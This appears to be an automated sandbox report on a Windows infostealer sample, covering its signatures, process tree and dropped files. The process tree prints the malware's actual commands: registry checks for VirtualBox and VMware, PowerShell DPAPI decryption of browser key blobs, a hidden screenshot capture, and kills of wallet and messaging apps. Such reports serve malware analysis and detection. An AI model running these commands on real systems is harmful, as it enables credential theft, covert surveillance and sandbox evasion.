Overview

overview

10

Static

static

10

2026-07-20...t_.exe

windows10-2004-x64

9

2026-07-20...t_.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 11:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-20_6894ca1c072ddcf004c126692897b4ab_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 40.7MB
  • Sample260720-nve8xsa16w
  • SHA256 90c6eda761827dc7958578670e4afc5e3ad69d1828faf90ef25f27e724db74f1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Executes a command shell one-liner 1 TTPs 23 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_6894ca1c072ddcf004c126692897b4ab_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_6894ca1c072ddcf004c126692897b4ab_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1612
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:468
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "getmac"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\system32\getmac.exe
        getmac
        3⤵
          PID:5868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1456
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
          3⤵
          • Looks for VirtualBox Guest Additions in registry
          PID:4196
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2464
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
          3⤵
          • Enumerates VirtualBox registry keys
          PID:4248
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"
          3⤵
          • Enumerates VirtualBox registry keys
          PID:3552
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"
          3⤵
          • Enumerates VirtualBox registry keys
          PID:1608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5948
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
          3⤵
          • Looks for VMWare Tools registry key
          PID:3824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:208
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\vmci"
          3⤵
          • Looks for VMWare services registry key.
          PID:5624
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4964
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"
          3⤵
            PID:4808
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\system32\reg.exe
            reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
            3⤵
              PID:6008
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4348
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5716
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1720
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4572
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Version""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3736
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Version"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5344
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3544
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:472
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784547799902.vbs""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:704
            • C:\Windows\system32\cscript.exe
              cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784547799902.vbs"
              3⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1764
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:856
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3904
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1496
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:412
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4704
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Steam.exe /F
              3⤵
              • Kills process with taskkill
              PID:2560
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4092
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Exodus.exe /F
              3⤵
              • Kills process with taskkill
              PID:3556
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:6092
            • C:\Windows\system32\tasklist.exe
              tasklist /FO CSV /NH
              3⤵
              • Enumerates processes with tasklist
              PID:5788
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "tasklist"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2440
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              PID:5784
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2476
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4632
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3824
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Telegram.exe /F
              3⤵
              • Kills process with taskkill
              PID:820

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 f7b2b33af2acd5d9529929c09a18c2a72ca2634bdefddca82a4b59e72d19d3f2
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 c1da0a4b327640f3032d79dc304e7836b649cb9b713d3851e5c1195554643230
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 5da4ed954231dbf9428309f74ed73397782fcd8bd861c9a459dad3b7f3040550
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 1bbd99180bd2fded7ee780494e7565c6b518e755725a238913973678f0cb3b96
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 5c82c62eecc8fdec335cbc59f90f9f170ef4c8a90e93c9a8030184a9a59d988a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_meto0k3s.4yn.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_meto0k3s.4yn.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              system_check_1784547799902.vbs
              • Path C:\Users\Admin\AppData\Local\Temp\system_check_1784547799902.vbs
              • Size 212B
              • SHA256 5c889f728f2b59a86769f73b4991db658b85d0fbe25ac55c98d6134b0ffb719f
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              l7dza5sjnpq.zip
              • Path C:\Users\Admin\AppData\Local\nyx-local\l7dza5sjnpq.zip
              • Size 122B
              • SHA256 86fe53390c5c81afab75fa524467b68a393f2ba15f1ce18232fac1e336b13300
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/3904-41-0x000002276FFB0000-0x0000022770000000-memory.dmp
              Download

              memory/4572-14-0x000002677E5E0000-0x000002677E604000-memory.dmp
              Download

              memory/4572-13-0x000002677E5E0000-0x000002677E60A000-memory.dmp
              Download

              memory/4572-12-0x000002677E550000-0x000002677E55A000-memory.dmp
              Download

              memory/4572-11-0x0000026718850000-0x0000026718902000-memory.dmp
              Download

              memory/4572-10-0x0000026718800000-0x000002671881E000-memory.dmp
              Download

              memory/5716-3-0x000001807F400000-0x000001807F422000-memory.dmp
              Download